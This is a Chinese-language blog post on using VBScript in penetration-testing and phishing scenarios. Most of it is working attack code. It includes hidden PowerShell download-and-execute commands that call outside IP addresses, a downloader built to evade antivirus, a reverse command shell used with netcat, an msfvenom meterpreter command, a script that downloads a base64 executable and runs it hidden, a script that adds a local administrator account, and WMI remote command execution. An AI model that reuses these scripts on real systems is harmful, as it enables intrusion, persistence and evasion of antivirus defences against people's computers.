VBScript实战场景利用

前言

学点老知识,可能有用也可能没啥用。不得学了才知道吗?

VBScript 简介

VBScript 是微软出品的一种脚本语言。不需要进行任何的编译,直接由宿主解释源代码并执行。

VBScript 使用

我们熟知的VBScript 广泛用于网页设计和ASP语言。其实VBScript可以通过windows 脚本宿主(WSH)调用COM,所以也可以在windows操作系统中处理文件、调用系统命令、调用COM接口、编写病毒、修改注册表等等。且扩展性比较强,在.wsf、.wsc、.hta、 .asp文件中都可以应用。

windows 脚本宿主

windows 脚本宿主(windows script host)简称WSH是一个windows管理工具。WSH是兼容各种脚本语言的宿主接口,处理各种 ActiveX 脚本引擎。也就是说如果使用使用VBScript、JScript,可以直接引入WSH。
Windows操作系统可以自动辨认和执行.VBS和.WSF这两种文件格式。

运行方式

WSH提供了两个用于执行脚本的接口。
cscript.exe 用于命令行中运行脚本
wscript.exe 用于在windows环境中运行脚本
通俗的说,就是cscript.exe从DOS窗口启动,wscript.exe与windows GUI交互执行。功能上没有差别。

内置对象

WSH包含一些核心的对象和方法,方便管理计算机。
WScript:WSH对象模型的基础

Argument 属性:传递的参数
CreateObject方法:创建了WshNetwork对象
Echo 方法:输出
Sleep方法 : 休息后再执行

WshShell:获取系统环境变量、访问 Windows 的特殊文件、修改注册表等等。

RegRead 方法:获取注册表某一项
Run 方法:运行某程序
Exec 方法:运行某程序
SendKeys 方法:模拟键盘

WshNetwork:提供对计算机所连接的网络上共享资源的访问

更多的核心的对象可以参考《WINDOWS脚本技术手册》《VBScript程序员参考手册》两本书。

VBScript 基础语法

Dim: 声明变量
MsgBox函数: 显示消息框
InputBox函数: 等待用户输入文本
Sub: 定义过程
call: 调用过程
&符号: 连接符
' 符号: 注释符
: 符号: 多行代码写成一行,要用冒号作为分隔符
OnError Resume Next: 代码出错依然执行

Run和Exec

WScript.Shell是WshShell对象的ProgID(程序标识符)。
WScript.Shell对象的Run和Exec两个方法都可以来运行程序,但也有区别。

Run 方法
有三个参数:
第一个参数是要执行程序的路径,
第二个参数是窗口的形式,0后台运行;1正常运行;2最小化;3最大化;缺省的话表示正常运行
第三个参数是表示这个脚本是等待还是继续执行,如果设为了True,脚本就会等待调用的程序退出后再向后执行。
Run 的返回值是一个整数,就0和1两种状态。

Exec 方法
运行一个程序,获取运行状态、获取PID,提供对StdIn、StdOut和StdErr流的访问,获取命令输出。

区别

  1. Run在运行文件时,会启动相关联的程序打开该文件(没有关联则出错);Exec只能运行程序。
  2. Run不仅可以直接运行位于path环境变量中的程序,还能运行在注册表中设置的程序"别名";Exec只能直接运行位于path环境变量中的程序。
  3. Run会等待程序运行结束后再执行后面的命令。
  4. Exec运行的程序路径中即使有空格,也可以正常运行;Run运行的程序路径必须使用双引号。(vbs中一个引号字符本身要用两个引号表示,写成"",或者使用chr(34)表示)

除了WScript.Shell组件可以执行系统命令外,vbs还有不同组件执行程序的多种方法。
具体参考:捡拾VBS应用层里的明珠

适用的场景

钓鱼场景

WScript的Run方法可以隐藏窗口,放在后台执行。我们可以结合IE浏览器的双杀漏洞(CVE-2018-8174 )获取系统权限。

Set objws = WScript.CreateObject("wscript.shell") 
objws.Run """C:\Program Files (x86)\Internet Explorer\iexplore.exe""http://47.94.80.xxx/exploit.html",0

注意该IE双杀漏洞在win7 32位IE浏览器运行

image.png

或者结合powershell来隐藏窗口,直接在内存加载。隐蔽性、免杀性都很好。

set ws=wscript.createobject("wscript.shell")
call ws.run ("C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pwd",0,true)
wscript.sleep 1000
call ws.run ("C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe set-alias -name key -value Invoke-Expression;key(New-Object Net.WebClient).DownloadString('http://47.94.80.xxx/ps/a.ps1')",0,true)
image.png

下载文件场景

解读一下网上公开的vbs下载源代码:

Set xmlhttp = CreateObject("MSXML2.XMLHTTP")
'创建MSXML2.XMLHTTP 对象
xmlhttp.Open "GET","http://47.94.80.xxx/ps/a.ps1",false
'GET方式发送请求,也可以设置为表单上传
xmlhttp.Send()
'send方法
‘wscript.echo "Status: " & xmlhttp.status
'wscript的echo方法,将结果输出到控制台
'xmlhttp的属性,返回状态码
'wscript.echo xmlhttp.responseText
'xmlhttp的属性,返回字符串
’wscript.echo xmlhttp.responseBody
'结果返回为无符号整数数组

Set aGet = CreateObject("ADODB.Stream")
'创建ADODB.Stream对象
aGet.Mode = 3
'mode读写权限,默认为0,1代表只读,2代表只写,3代表读写
aGet.Type = 1 
'type数据类型。默认2,文本类型,1代表二进制
aGet.Open()
'打开对象
aGet.Write(xmlhttp.responseBody)
'写二进制数据
aGet.SaveToFile "shell.ps1",2
'把对象的数据保存为文件,1不覆盖原文件,2覆盖原文件
'最后一句注释bypass

将上面代码修改为自定义获取url地址、保存的文件名。
down.vbs

Set a = Createobject("adodb.stream")
Set w = Createobject("microsoft.xmlhttp")
w.open "get",wscript.arguments(0),0
w.send
a.type = 1
a.open
a.write w.responsebody
a.savetofile wscript.arguments(1),2 

运行命令

down.vbs http://47.94.80.xxx/ps/a.ps1 a.ps1

进一步修改为echo一句话。冒号将多行代码连接为一行;^转义字符解决在cmd下的输入。

echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wscript.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wscript.arguments(1),2  >> down.vbs

但是非常容易被查杀,修改为绕过360的代码,但因为vbscript没有块注释,需要不断echo进一个文件。

echo public function HexStr2ByteArr() >> down.txt
echo Set xmlhttp = CreateObject("MSXML2.XMLHTTP") >> down.txt
echo '创建MSXML2.XMLHTTP 对象 >> down.txt
echo xmlhttp.Open "GET",wscript.arguments(0),false >> down.txt
echo 'GET方式发送请求,也可以设置为表单上传 >> down.txt
echo xmlhttp.Send() >> down.txt
echo 'send方法 >> down.txt
echo Set aGet = CreateObject("ADODB.Stream") >> down.txt
echo '创建ADODB.Stream对象 >> down.txt
echo aGet.Mode = 3 >> down.txt
echo 'mode读写权限,默认为0,1代表只读,2代表只写,3代表读写 >> down.txt
echo aGet.Type = 1  >> down.txt
echo 'type数据类型。默认2,文本类型,1代表二进制 >> down.txt
echo aGet.Open() >> down.txt
echo '打开对象 >> down.txt
echo aGet.Write(xmlhttp.responseBody) >> down.txt
echo '写二进制数据 >> down.txt
echo aGet.SaveToFile wscript.arguments(1),2 >> down.txt
echo '最后一句注释bypass >> down.txt
echo End Function >> down.txt
echo HexStr2ByteArr() >> down.txt

webshell场景

当在webshell里直接运行vbs时,实际是cscrpit.exe在运行该脚本。某些杀软会拦截cscript.exe该应用程序的调用。所以使用c语言的system函数对其进行封装。
代码如下:

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char*argv[], char*envp[]) 
{
    char buffer[100];
    sprintf(buffer, "cscript.exe %s %s", argv[1], argv[2]);
    system(buffer);
    return 0;
}

反弹cmd场景

在网上原来的remote cmdshell上基础上仔细阅读代码后并尝试改写。
最终形成了这个low的代码。无法在实际中应用。因为nc反弹后需要输入命令,vbs只找到了InputBox函数,以弹出对话框的形式进行输入命令后发送。所有写的比较鸡肋。
贴出代码,方便学习吧。
cmdshell.vbs

RemoteHost = Wscript.Arguments(0)
RemotePort = Wscript.Arguments(1)

Set sock = Wscript.createobject("MSWINsock.Winsock")
sock.Protocol = 0
sock.RemoteHost = RemoteHost
sock.RemotePort = RemotePort
sock.Connect 
Wscript.sleep 1000
if sock.state = 7 then
WScript.Echo "Connected to server."
Set ShellObj = WScript.CreateObject("WScript.Shell")
sock.SendData "Connected  Success, Welcome!" & chr(13) & chr(10)
Wscript.sleep 1000

Do
Dim sRevData
sRevData = InputBox("please your send data")
a = (Split(sRevData, chr(10), -1, 1))
data = a(0)
Set ExecObj = ShellObj.Exec(data)
sock.SendData ExecObj.StdOut.ReadAll
sock.SendData ExecObj.StdErr.ReadAll

If sRevData <> "" Then
sock.SendData chr(10) & "[" & sock.LocalHostName & "@" & "cmd]#: "
End If

If Left(sRevData, 4) = "exit" Then
sock.Close
Exit Do
End If

Loop
Wscript.sleep 1000
end if
sock.Close

运行方式:
控制端

nc -l -v -p 4444

目标端

c:\Windows\SysWOW64\cscript.exe cmdshell.vbs 127.0.0.1 4444 

这里解释一下:MSWinsock.Winsock是32位COM组件,在64位系统中存在两组不同的wscript.exe和cscript.exe,一组是64位的,在C:\Windows\System32 文件夹;一组是32位的,在C:\Windows\SysWOW64 文件夹。由于64位和32位的内存模式不同,64位进程无法加载32位DLL,所以DLL封装COM组件无法在64位进程中调用。在win7 上测试成功运行。
核心代码

Set sock = Wscript.createobject("MSWINsock.Winsock")
'创建Winsock对像
sock.Protocol = 0
'Protocol的值为0时,所创建的协议是TCP;值为1时,则创建的是UDP
sock.RemoteHost = "127.0.0.1"
sock.RemotePort = "4444"
sock.Connect 
Wscript.sleep 1000
if sock.state = 7 then
'state 返回创建socket的对象状态
'7 表示已连接
sendata = "Hello!!!" & chr(13)
'定义要发送的数据
sock.senddata sendata
'发送数据
Wscript.sleep 100
end if
sock.Close

加载shellcode PE 场景

metasploit

借助metasploit,命令生成vbs木马。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=47.94.80.xxx LPORT=8080  EXITFUNC=thread  -f vbs --arch x86 --platform win

阅读了一下vbs木马的源代码。就是通过将恶意的shellcodePE保存在创建的temp临时目录下并运行。这种老套路会容易被杀软检测到。
所以对先对代码进行改写,方便阅读和调试。
主要修改了加载shellcodePE的方式,改为远程下载后加载。
msf.vbs

Function Decode(strB64)
strXML = "<B64DECODE xmlns:dt="& Chr(34) & "urn:schemas-microsoft-com:datatypes" & Chr(34) & " " & _
                "dt:dt=" & Chr(34) & "bin.base64" & Chr(34) & ">" & _
                strB64 & "</B64DECODE>"
Set oXMLDoc = CreateObject("MSXML2.DOMDocument.3.0")
oXMLDoc.LoadXML(strXML)
decode = oXMLDoc.selectsinglenode("B64DECODE").nodeTypedValue
'对shellcodePE进行base64解码
set oXMLDoc = nothing
End Function

Function writefile()
strFileURL = WScript.Arguments.Item(0)
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
shellcodePE = objXMLHTTP.responseText
'借助下载的思路,通过MSXML2.XMLHTTP下载shellcodePE
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
Dim tempdir
Dim basedir
Set tempdir = fso.GetSpecialFolder(2)
basedir = tempdir & "\" & fso.GetTempName()
fso.CreateFolder(basedir)
tempexe = basedir & "\" & "test.exe"
'msgbox tempexe 
'保存在~\AppData\Local\Temp临时目录,并将shellcodePE写进test.exe文件

code = Decode(shellcodePE)
Dim adodbstream
Set adodbstream = CreateObject("ADODB.Stream")
adodbstream.Type = 1
adodbstream.Open
adodbstream.Write code
adodbstream.SaveToFile tempexe, 2
Dim wshell
Set wshell = CreateObject("Wscript.Shell")
wshell.run tempexe,0, true
'运行test.exe
fso.DeleteFile(tempexe)
'运行后删除
fso.DeleteFolder(basedir)
'运行后删除
Set fso = Nothing 
End Function

writefile()

可过部分杀软。
然后考虑如何生成shellcodePE。也就是base64编码的exe文件。
powershell 就可以很方便做到。

$PEBytes = [System.IO.File]::ReadAllBytes("C:\windows\system32\calc.exe")
$Base64Payload = [System.Convert]::ToBase64String($PEBytes)
Set-Content shellcodePE.txt -Value $Base64Payload

再将shellcodePE放在远程服务器上,提供下载。
运行命令

msf.vbs http://10.211.55.4/appcms/shellcodePE.txt
image.png

如需绕过杀软反弹metasploit,将calc.exe替换为恶意exe即可。

Cobalt Strike

Cobalt Strike 是通过生成hta文件来实现vbscript。
在Packages的HTML Application中。

image.png

代码功能和metasploit差不多,都是将shellcode(16进制)保存在指定的exe文件里再运行。

添加系统账户场景

利用活动目录(ADSI)的winnt对象,添加管理员。不依靠CMD等命令。

Dim var
Set wsnetwork = CreateObject("WSCRIPT.NETWORK") 
os = "WinNT://" & wsnetwork.ComputerName 
'winnt对象用来管理本地资源
var = "/Administrators,group"
'定义变量来bypass
Set oe = GetObject(os & var) 
Set od = GetObject(os).Create("user","cseroad") 
'建立用户
od.SetPassword "123456" 
'设置密码 
od.SetInfo 
'保存 
Set of = GetObject(os&"/cseroad",user)
'得到用户 
oe.add os & "/cseroad"

自定义输入添加的账户和密码
netuser.vbs

struser = wscript.arguments(0) 
strpass = wscript.arguments(1) 

Dim var
Set wsnetwork = CreateObject("WSCRIPT.NETWORK") 
os = "WinNT://"&wsnetwork.ComputerName  
var = "/Administrators,group"
Set oe = GetObject(os & var) 
Set od = GetObject(os).Create("user",struser) 
od.SetPassword strpass
od.SetInfo  
Set of = GetObject(os&"/"&struser&",user")
oe.add os & "/" & struser

命令为

netuser.vbs cseroad 123456

内网场景

我们都知道内网横向工具wmiexec.vbs的强大。对于WMI的操作,powershell和vbscript最为方便。WMI是windows管理规范,提供了操作系统的接口方便管理计算机。
详情参考微软官方文档 https://docs.microsoft.com/en-us/windows/win32/wmisdk/about-wmi
这里简单看一下WMI是如何远程执行命令的。
vbsexec.vbs

If WScript.Arguments.Count = 4 Then
    target = WScript.Arguments.Item(0)
    username = WScript.Arguments.Item(1)
    password = WScript.Arguments.Item(2)
    command = WScript.Arguments.Item(3)
Else
    Wscript.Echo "Usage: vbsexec.vbs target username password command"
    Wscript.Quit
End If

Set objSWbemLocator = CreateObject("WbemScripting.SWbemLocator")
'定义了SwbemLocator的实例
Set objSWbemServices = objSWbemLocator.ConnectServer _
    (target, "root\cimv2", username, password)
'ConnectServer远程连接指定凭证
'该方法总共有8个参数
'可以本机使用,只需要设置前两个参数
'连接到远程计算机,需要设置前4个参数。root\CIMV2需要登录的CIM命名空间。

'command = "calc.exe"
Set objProcess = objSWbemServices.Get("Win32_Process")
'利用Win32_Process这个类创建一个进程
errReturn = objProcess.Create("cmd.exe /c " & command, , , intProcessID)

If errReturn = 0 Then
    Wscript.Echo "Process started with ID: " & intProcessID
Else
    Wscript.Echo "Process  error" 
End If

运行命令

vbsExec.vbs 172.16.111.113 administrator cseroad@2008 "net user admin 1234qwer.. /add"
image.png

免杀

编写vbscript调用powershell,并使用超长normal进行bypass

set ws=wscript.createobject("wscript.shell")
call ws.run ("C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pwd",0,true)
wscript.sleep 100
call ws.run ("C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  set-alias -name key -value Invoke-Expression;key(New-Object Net.WebClient).DownloadString('http://106.53.xx.xx:82/a')",0,true)

再使用vbseditor编辑器编译为exe文件。免杀率也比较好。

总结

在某些方面vbscript的作用依然不可忽视。活学活用,多学点总是没错的。
如有错误请斧正。

参考资料

64位系统VBS调用32位COM组件
vbs 的 VBScript 打造自己的远程CMDShell附使用教程
用不同姿势复现 CVE-2018-8174 漏洞
使用vbs执行命令小tip
WMI的基础介绍在vbs中的使用方式

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,456评论 5 477
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,370评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,337评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,583评论 1 273
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,596评论 5 365
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,572评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,936评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,595评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,850评论 1 297
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,601评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,685评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,371评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,951评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,934评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,167评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 43,636评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,411评论 2 342

推荐阅读更多精彩内容